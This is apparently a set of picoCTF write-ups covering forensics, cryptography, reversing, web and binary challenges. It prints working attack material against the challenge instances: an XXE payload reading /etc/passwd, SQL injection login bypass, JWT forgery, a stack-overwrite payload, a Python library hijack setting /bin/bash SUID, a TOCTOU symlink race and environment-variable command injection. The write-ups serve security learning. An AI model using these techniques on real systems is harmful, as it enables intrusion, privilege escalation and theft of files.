Playing Hacks and Stuffs!
We’re given a ssh instance to connect to after loggin i looked back at the description and saw its referring to automating task on linux
And that means likely cron jobs
So i checked the cron jobs and got the flag
Flag: picoCTF{Sch3DUL7NG_T45K3_L1NUX_d83baed1}
We’re given an address which looks like a btc address and we’re asked to submit the malware name
So i just paste the address on google then saw this
The second link looks promising then i checked it Link
Below the news on the cyberattack shows a malware name
Flag: picoCTF{Petya}
After connecting to the ssh instance i checked what the user can run as root sudo -l
So the user can run /usr/bin/vi
as root
Checking gtfobins I got a shell escape command
Flag: picoCTF{uS1ng_v1m_3dit0r_ad091ce1}
After downloading the enc_flag and checking its content i see that its base64 encoded
I tried decoding it but i get another base64 encoded value
From the challenge name repetition
its likely this has been encoded multiple times
So I wrote a script to decode it until it isn’t a base64 encoded value again Solve
Running it I got the flag
Flag: picoCTF{base64_n3st3d_dic0d!n8_d0wnl04d3d_4557ec3e}
Checking the link provided doesn’t show the flag
But after checking source code and using CTRL +F
I got the flag
Flag: picoCTF{h34rd_und3r5700d_4ck_cba1c711}
After connecting to the ssh instance i saw a file in the current directory of the user
And its a shell script
From the challenge tag man
I ran man
command on the script and I got the flag
Flag: picoCTF{us3l3ss_ch4ll3ng3_3xpl0it3d_7065}
After connecting to the ssh server I get this weird shell
So it capitalize the 0th index of our input making us not able to run commands
What I did next was to find any special character value that won’t be affected from the capitaliation of the 0th index of our input
I did play around to get the value and __|
worked well for me
Now we can just pass in any command we want to run
From that I got the flag
Flag: picoCTF{5p311ch3ck_15_7h3_w0r57_b741d1b1}
Just like Special Chall
after loggin I got into a weird shell that doesn’t have much command
After trying some command I got that echo
works
And we can access enumerate files using echo + a wildcard (*
)
I checked the files in the user’s current working directory
Now we can use echo
and get the content of a file to the standard output stdout
Command: echo $(</etc/passwd)
Trying that I got the flag
Flag: picoCTF{y0u_d0n7_4ppr3c1473_wh47_w3r3_d01ng_h3r3_c42168d9}
First thing first I checked the file type after downloading the file given
It’s a PNG file (image file)
On viewing it just shows the picoctf logo
Now i check its metadata
Running zsteg
on it shows that there’s a ZIP file embedded in it
So i’ll use binwalk
to extract it
From there I got the flag
Flag: picoCTF{Hiddinng_An_imag3_within_@n_ima9e_85e04ab8}
After downloading the file attached I checked its file type which happens to be a pcap file
Then I tried low hanging fruits by running strings on it and got the flag
Flag: picoCTF{P64P_4N4L7S1S_SU55355FUL_4d72dfcc}
After downloading the attached file I checked its file type and its happens to be a bmp file
I checked the metadata of the file but I got nothing from it
I also ran various tools to check the file but I got nothing
Then after i checked the hex dump I noticed this
That is the file header for a zip file. You can check it out here Wikipedia
So now the idea is that we can extract the values from that spot below
But first I need to get what length it is from the zip file, and I used python for it
So that means the zip file should start from offset 140
I wrote a script to extract the content of the zip file starting from index 140
Here’s the script Solve
After I run it, it dumps the zip file content
Then I used binwalk
to extract it’s content
From that I got the flag
Flag: picoCTF{w0rd_d4wg_y0u_f0und_5h3113ys_m4573rp13c3_5eadc23e}
After downloading the binary I checked what file it is
And its a x64 binary which is not stripped
So i’ll run it to know what it does
Its asking for a password to unlock the file
Since I don’t currently know it I ran strings
to check for low hanging fruits
And from there I got the flag
Flag: picoCTF{3lf_r3v3r5ing_succe55ful_d55531cd}
After downloading the file and checking its file type i got it to be a java compiled binary
So I used an online decompiler to decompile the .class file to a readable format
After decompiling the binary I got the flag
Flag: picoCTF{SAf3_0p3n3rr_y0u_solv3d_it_b427942b}
After downloading the file given and checking its file type it turns out to be an apk file
So here’s I did. First I unzip the content of the apk file then use dex2jar to convert the class file to a jar file which later i then use jd-gui to view the decompiled code
Flag: picoCTF{t1m3r_r3v3rs3d_succ355fully_17496}
After checking the attached file given i couldn’t get what it does
But i just connected to the netcat instance and got the flag
Flag: picoCTF{h3r0_t0_z3r0_4m1r1gh7_a7bf8a57}
This one I didn’t even download the file but I searched for what CoreWars means then I saw this resources CoreWar Payload
And when I used the payload on the remote server it worked for both Gladiator 1 & 2
Running it for Gladiator 1 works
Flag: picoCTF{1mp_1n_7h3_cr055h41r5_dba6f40d}
Running it for Gladiator 2 works
Flag: picoCTF{d3m0n_3xpung3r_106bc275}
We’re given the files to download and i downloaded the type for windows
After downloading and checking it out, it shows the unity files for a windows game
When i treid playing the game initially, i noticed the player is like limited to crossing the boundry
So after checking online for how to reverse unity file binary i got that you can edit the dll file for the game
And the particular .dll file we’re looking for should contain the program logic
It was located here
Using dnSPY, I can manipulate it
After searching around i then moveDirection variable and edited it to a constant value
Then on running the game again i got the flag after moving over the wall
Flag: picoCTF{WELCOME_TO_UNITY!!}
We’re given a remote instance to connect to which is a web server and its has a login form
Since the description says we should login as test:test1
lets try it
While i was login in i noticed the url had some base64 values before it gets redirected to home page
So i’ll login again but this time use burp to intercept the request
From here:
Right Click --> Do Intercept --> Response To Request
I got the first portion of the flag picoCTF{proxies_al
After forwarding the request i get the second portion
Flag: picoCTF{proxies_all_the_way_df44c94c}
Same as always we’re given a remote instace which is a web server
Checking it out shows that it requires giving some text
Since i don’t know the particular input to give it i checked the source code
From the js portion of the script i saw the commented part of it
// ^p.....F!?
And its a regular expression which means:
1. "^p": Matches the start of a line or string, followed by the letter "p".
2. ".....": Matches any five characters except newline.
3. "F!?": Matches the letter "F" followed by an optional exclamation mark.
So the best value to be given is picoCTF
After submitting it I got the flag
Other form of value can be used like pythonF, plololF
as long as it matches the regrex
Flag: picoCTF{succ3ssfully_matchtheregex_08c310c6}
Checking the instance given shows this
Clicking on details
and intercepting the request shows that the data which it’s trying to fetch is gotten using the xml format style
So since its this we can perform XXE
After checking HackTricks I made the payload to read the /etc/passwd
file
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
<ID>&file;</ID>
</data>
On submitting that I got the flag
Flag: picoCTF{XML_3xtern@l_3nt1t1ty_e5f02dbf}
Checking the web server instance given shows this login page
From the challenge title which is SQLi
i’ll try using sql injection to bypass the login page
Username: ' or 1=1 --
Password: ' or 1=1 --
Trying that works
There’s another search functionality in the web app
So i’ll search for something then intercept the request with burp
Then i will save the request in a file
With this i can use sqlmap
Then I dump the whole table to see if any thing is of interest there
Flag: picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_783cc6bd}
The web server source code is given
After checking it this is what i found interesting
So the key is the secret key for the jwt which is 1234
I’ll connect to the web server and login using the cred user:user
If you try to click the flag image file it won’t allow access cause the user isn’t admin
After i checked for the cookies i couldn’t find any JWT token
So i decided to login again but this time pass the request through my burp proxy
Cool so it generated a token for me and from checking jwt.io i got its algorithm to be HS256
Here’s the jwt decoded value:
{
"role": "Free",
"iss": "bookshelf",
"exp": 1679960313,
"iat": 1679355513,
"userId": 1,
"email": "user"
}
Since we know the sign key to be 1234
that means that we can generate another token
I made a script to generate the token for me
After running it i got the new token
So i then logged in again but this time intercept the request and replace the token to the newly generated own
Intercept Request --> Response To Request
Now i will replace this with the new token generated
After forwarding the request i get logged in as admin
From here we can just get the flag
Here’s my automated script to get the flag xD Solve
After downloading the file attached and checking its file type shows its an image file
It content is referring to atbash cipher and it contains the way of decoding atbash cipher
But no encrypted text is given. So now i checked if there’s any data hidden in the jpg file
Now on viewing the encrypted data it gives this
Cipher Text: krxlXGU{zgyzhs_xizxp_1u84w779}
We can use that table in the image already given or an online tool Dcodefr to decode it
Flag: picoCTF{atbash_crack_1f84d779}
After downloading the file attached i checked its file type and its a PEM certificate request
file
So if we view it what we will see is just the certificate file
Next thing i did was to search how to decode .csr file with openssl
And i got this Resource
I put it in a bash script
And after running it i got the flag
Flag: picoCTF{read_mycert_a7163be8}
We’re given the encrypted file
So i used DcodeFR to identify the cipher type and used it also for decoding it
Its likely a rot cipher so i used Decoder to decode it
Flag: picoCTF{r0tat1on_d3crypt3d_25d7c61b}
We’re given the remote file being used
Here’s its content
And this is what’s happening
1. It creates 16 random values which are either ascii or digits
2. After that it generates random prime numbers with 128 bits in two variables
3. It then multiplies those two variable which is stored in a new variable
4. 65537 is stored in variable sloth
5. The multiplicative inverse of sloth and (gluttony - 1) * (greed - 1) is done and stored in variable envy
6. It converts the value of pride to a long integer then does the modular exponential of pride where the public exponent is sloth and the modulus is lust
Overall this is a process of encrypting a message using RSA
So if we run the prorgam it will generate the private key (d) and its ciphertext(c)
Then it asks for our input and check if its equal to the value stored in pride. If the check is meet we get the flag else it prints out Hubris!
But now that we know both the private key and the ciphertext we can calculate:
1. kphi from ed-1
2. Then go to factordb and take every prime factor which will be put in a list
3. From there we can use any for loop with product from itertools to calculate the multplication of some factors and check the result of this multiplication which will be called n
4. Then we check if isPrime(n+1) and if (n+1).bit_lenght() = 128. If the check is meet we can save (n+1) in a list
5. With this we will get a list of all possible primes that could construct N
6. We can then make two for loops where i and j are the iterate with the list and calcualte N=i*j; if long_to_bytes(pow(c,d,N)).isprintable(): print(ong_to_bytes(pow(c,d,N)))
Thats the way I solve it
So I wrote a script for it Solve
Running it gives the flag
➜ sage solve.py
[-] Opening connection to saturn.picoctf.net on port 51615: Connected
anger = 10874849782922899596926546059091484448219162477034704964483223843381834331753
envy = 6079395884215855559684171323910149420899924737311416787335412267518949259009
vainglory?
picoCTF{7h053_51n5_4r3_n0_m0r3_3858bd66}
➜ sra
Flag: picoCTF{7h053_51n5_4r3_n0_m0r3_3858bd66}
I checked what file type it is and the protections enabled on the binary
Its a x86 binary which is dynamically linked and not stripped, the protections enabled on the binary are Canary and NX (No Execute)
Next i’ll run it to get an idea of what it does
Looks like some sort of game
Using ghidra i decompiled the binary
Here’s the main function
This is the part am interested about
} while (local_aac != 0x1d);
} while (local_aa8 != 0x59);
puts("You win!");
if (local_aa4 != '\0') {
puts("flage");
win();
fflush(stdout);
If local_aac == 0x1d and local_aa8 == 0x59
it will print out you win then another check is done that checks if the value of local_aa4
is not equal to a null terminator it will call the win() function which will give the flag
To trigger this condition we must firstly win the game and the local variable local_aa4 must be non-zero to get the flag.
So the way to move the player of the game is by using w,a,s,d
and other good functions are p,l
And here’s what each does:
1. w --> moves the player up
2. a --> moves the player left
3. s --> moves the player right
4. d --> moves the player down
5. l --> change the player structure
6. p --> auto solve the game
And what I noticed while i tried it is that when the player goes out of bound you get a seg fault
The reason is cause the program tried accessing a memory address that isn’t valid
Looking at the stack layout
| local_aac | [$EBP - 0xAAC] player_x_pos (or row in map)
| local_aa8 | [$EBP - 0xAA8] player_x_pos (or column in map)
| local_aa4 | [$EBP - 0xAA4] char flag_win_condition (!= 0)
| local_aa0 | [$EBP - 0xAA0] char[2700] map_buf
The offset between the player_x_pos and local_aa4
is 0x4
➜ game01 python3
Python 3.11.1 (main, Dec 31 2022, 10:23:59) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(int(0xaa8)-int(0xaa4))
'0x4'
>>> 0x4
4
>>>
This also tells us our initial starting position is always { X, Y } = { 4, 4 }
Now the idea is that if we can reach that particular position 0x59 = 89
and also go out of bound we can overwrite the value of local_aa4
by adding extra 4 bytes since thats the required offset needed to overwrite local_aa4
The function init_player() takes the address of local_aac and writes three words, array indexing flowing into subsequent parameters of main()
local_aac[0] = 4 = player_y_pos (or row in map)
local_aac[1] = 4 ---> local_aa8 = player_x_pos (or column in map)
local_aac[2] = 0 ---> local_aa4 = flag_win_condition (!= 0)
init_map() function confirms the purpose and ordering of the player position coordinates, as detailed above. It also exposes the exit position which is the game win condition, that is the player must reach { 29, 89 } = { 0x1d, 0x59
And the decompilation of the move_player function is
if (param_2 == 'w') {
*param_1 = *param_1 + -1;
}
else if (param_2 == 's') {
*param_1 = *param_1 + 1;
}
else if (param_2 == 'a') {
param_1[1] = param_1[1] + -1;
}
else if (param_2 == 'd') {
param_1[1] = param_1[1] + 1;
}
*(undefined *)(*param_1 * 0x5a + param_3 + param_1[1]) = player_tile;
But if we substitute with our variable names and making the code a little easier to read :
*map_buf[(player_y_pos * 0x5a) + player_x_pos)] = player_title
What we can notice there is that:
1. There is no bounds checking on position increment/decrement operations
2. These new player position values form the index of an array dereference
This is the vulnerable part of the code because we control the player position values and hence can control the dereferenced array entry (and hence address) and the character that gets written there, forming a write-what-where primitive.
So our aim here will be to underflow the map_buf
array and write a non-zero value to the local_aa4
our ` if (local_aa4 != ‘\0’) {` condition , which was initialised to zero by init_player()
This means an effective position of { 0, -4 } will write the player_title character to the LSB of local_aa4
Now to solve this we need to move player position from { 4, 4 } to { 0, -4 }, this underflows the map_buf[] and writes the player’s position character over local_aa4 (satisfying the non-zero flag win condition)
Payload: aaaawwwwaaaap
So what that does is to:
1. Move left 4 times
2. Go up 4 times
3. Go out of bound with 4 bytes
4. Auto win the game
Doing that gets me the flag locally
So I did the same remotely
Here’s the auto solve script Solve
Running it gives the flag
Flag: picoCTF{gamer_m0d3_enabled_3aa88304}
The source code is given
Here’s what it does:
1. Creates a function called addIntOvf and it requires 3 parameters which are result, a & b
2. What the function does is to sum up int a and int b and store them in result
3. It then checks if the value of a and b is greater than 0 and the value of result is less than 0
4. It then returns error
5. Also an if check is done that checks if the value of a and b is less than 0 and the result is greater than 0
6. If its that case it returns error
7. Else it exits
For the main function here’s what it does:
1. It prints out n1 > n1 + n2 or n2 > n1 + n2
2. Then it prints What two positive numbers can make this possible:
3. It receives our input which are two numbers stored in &num1 and &num2
4. A variable sum is created which takes the sum of num1 and num2
5. Then it calls the addIntOvf function which takes in the sum, &num1, &num2 as parameters and check if it returns true
6. If that returns true it prints out No overflow
7. Else if addIntOvf returns false it prints out You have an integer overflow
8. After that it then checks if the value of &num1 and &num2 are greater than 0 (non negative number)
9. If the check is meet it prints out the flag
Looking at the code what the program expects is two positive numbers that when sumed up gives a negative number
Is that possible?
Yes!!! And its called an integer overflow
So basically performing integer overflow means going above the maximum value of the signed integer, and the result usually becomes a negative number
Here’s the resource Resource
This are two integers that when added result in an integer overflow
Num1: 2147483647
Num2: 1
Giving that as the num to the binary gives an integer overflow and then the flag (locally)
Trying that on the remote server works also
Here’s the solve script Solve
Running it gives the flag
Flag: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}
After downloading the binary i checked its file type and the protection enabled
Cool the only protection enabled is No-Execute
Running the binary shows the same output as the previous one
So i decompiled it using ghidra and now here’s the difference between the it and the first binary
After the user wins it doesn’t print any flag or calls the win function
Since its the same function as the previous binary, i won’t share ss of the whole decompiled code
Visualising the stack frame of main() from the disassembly to show placement and relative offsets of local variables and other elemts on the stack. I’ve augmented the variables with their purpose obtained from analysis of functions (main(), init_player() and move_player())
**************************************************************
* FUNCTION *
**************************************************************
undefined main(undefined1 param_1)
undefined AL:1 <RETURN>
undefined1 Stack[0x4]:1 param_1 XREF[1]: 08049674(*)
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 0804967b(R)
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 08049753(*)
undefined1 Stack[-0x11]:1 local_11 XREF[2]: 080496eb(W),
080496ee(R)
undefined1 Stack[-0xa9d local_a9d XREF[4]: 080496aa(*),
080496c3(*),
080496f5(*),
08049716(*)
undefined4 Stack[-0xaa4 local_aa4 XREF[1]: 08049730(R)
undefined4 Stack[-0xaa8 local_aa8 XREF[6]: 08049694(*),
080496a3(*),
080496bc(*),
080496fd(*),
0804970f(*),
08049725(R)
main XREF[5]: Entry Point(*),
_start:08049110(*),
_start:08049116(*), 0804a0e8,
0804a2a8(*)
08049674 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
move_player(player_y_pos, input_ch, map_buf) contains the same exploitable line of code that forming a write-what-where primative. We control the player X and Y position and hence the address to write to, aswell as the byte to write through the ability to change the player_title
So the vulnerable part of the code is
map_buf[(player_y_pos * 0x5a) + player_x_pos)] = player_title
This time we must overwrite a return address on the stack with the addres of the win() function to gives the flag instead of overwriting a local variable of main().
The behaviour of move_player() is slightly different in babygame02, in that before moving the player it writes to the previous player position (before move), clearing it with ‘.’ (0x2e) character before updating and writing the new player position. This means cycling this exploit to write multiple bytes is not possible as it corrupts the previous byte written with the clear. Therefore we need to find a location where only one write operation is required to divert the flow of execution to the win() function address.
After playing with the binary i noticed is that at address 0x080495b6
. The value at $esp will be the return pointer
What we can see there is
*EIP 0x80495b6 → <solve_round+47> add esp, 0x10 ← $esp
It's showing that the player_move was called from the solve_round function. So our input 'p', we won't need to use the p command for game02
Now here’s what happen when i move around the map and check the stack memory address
After setting a new breakpoint at 0x8049548 = <move_player+212>: ret
Now that @
is the player, and we’re moving it around in stack memory
And this is what happens when we go out of bound, the program will crash and its so cause the instruction pointer will try to access an invalid memory address
Now when we move round the memory it’s pointers on the stack that we’re modifying. Now the questions is… can we modify something useful to control the execution of the program so that we can get it to print the flag?
The goal is to make the eip call the win() function
But the problem is even tho we can overwrite the @
structure it only just overwrites the last byte of an address of the stack
We need something similar to the win() function address and after setting a breakpoint at *solve_round+47
Then checking the stack, i got an address of the stack that looks very similar to the win() function
We can see the similarity between the stack address 0x08049709
and the win function address 0x0804975d
Only one byte that makes it not the same as the win function address
Now next thing is that since while we move round the map and out of bound, the player character is also moving round the stack therefore overwriting bytes on the stack which makes the program crashes, the idea is that that particular memory on the stack can be overwritten to the win function address.
And for this to occur the character needed to overwrite it is ]
which will later turn to 5d
in hex
➜ game02 python
Python 3.11.1 (main, Dec 31 2022, 10:23:59) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a=']'
>>> b=ord(a)
>>> hex(b)
'0x5d'
>>>
And we know that the l
function changes the player character to anything specified. So that means we can change our player character to ]
So basically, when we jump up and down, we jump in the memory. Cause 2d arrays in memory become 1d with offsets and since we know the width of the map to be 89, we know that we jump 89 bytes every time we move up and down.
We can control where this 0x5d
ends up as this ]
which is now the player so try and find the position on the map that is 89 bytes offset from that address that is close to the win function which is the stack address we got earlier.
So i just made a script to move round the map but out of bound i.e w
Here’s my local fuzz script Fuzz_Local
Running it locally gets me the offset
Then i can get local flag
python2 -c "print 'l]' + 'wwww' + 'd'*47 + 'wp'" | ./game
But trying it remotely doesn’t work
So its likely the stack offset i think
Then a made a brute script and auto solve script for the remote own
Here’s the Exploit
Running it works and i got the flag
Flag: picoCTF{gamer_jump1ng_4r0unD_498dff8d}
After i connected to the ssh remote instance i saw this file called .server.py
Since its own by root and the aim of this chall is to get root so i decided to take a look at it
What the script does is to attempt to gather information by pinging picoctf.org
But we don’t have any write access over this file
So now what we can do is a python library hijack
Since those libraries i.e base64, os, socket are imported in the file we can attempted to hijack and add malicious content to those library files so that when its is being called when the .server.py is executed our malicious command will also be executed
But first we need to have write access over any of the library files
And base64.py seems ok to be abused
So now we can add in any thing we want inside the base64.py file then after we run .server.py it will be executed
I added a command to make /bin/bash
an suid binary
Now checking sudo -l
shows we can run the .server.py as root
And that is ok cause we are trying to change the permission of a binary to suid
From here we can run the script
We can see now that /bin/bash
permission is now that of an suid binary
Root should be easy from here 👻
Flag: picoCTF{pYth0nn_libraryH!j@CK!n9_0083cb0b}
After connecting to the ssh instance i got this two files
Looking at the source code and the binary perm, it shows the binary is a suid binary
And the source code for the txtreader binary is:
1. A C++ program
2. The program checks if the user has provided exactly one command line argument (the filename to be read). If not, it displays a usage message and exits with an error code of 1
3. The program opens the file using an input file stream (std::ifstream).
4. The program uses the stat() system call to retrieve the file's status information, which includes the owner's user ID. If stat() returns an error (-1), the program displays an error message and exits with an error code of 1.
5. The program compares the owner's user ID to the ID of the current user (obtained using getuid()). If they don't match, the program displays an error message and exits with an error code of 1.
6. The program reads the contents of the file line by line using std::getline() and outputs each line to the console using std::cout.
7. If the file cannot be opened, the program displays an error message and exits with an error code of 1.
8. If everything goes well, the program exits with a success code of 0.
Overall, this program reads a file and outputs its contents to the console, but only if the user has permission to read the file (i.e., if they are the owner)
At this point what we would love to read is the flag.txt file
But the problem now is the file is only own by root
So since the program reads files owned by the user, we won’t be able to read the flag.txt
Thats what its normally supposed to do but here’s the vulnerability
From the task description it says toc-tou
which means Race Condition
After reading some of the articles i found a way to exploit this
And its using symlink
Here’s the exploitation phase:
touch fake_flag
while true; do ln -sf flag.txt link; ln -sf fake_flag link; done &
while true; do ./txtreader link 2>/dev/null; done > val &
cat val
From that we can get the flag
Flag: picoCTF{ToctoU_!s_3a5y_5748402c}
After i connected to the ssh instance i saw a binary there and ran it
But i got this
So it reqires the SECRET_DIR
environment to be set
It can be easily set like this
So from the output we can tell that the binary does directory listing on the path specified
Now what we can try here is command injection in the environment variable
Doing that works
Flag: picoCTF{Power_t0_man!pul4t3_3nv_fc3ff2c9}
Thats all 👻
Here’s the link to the writeup Link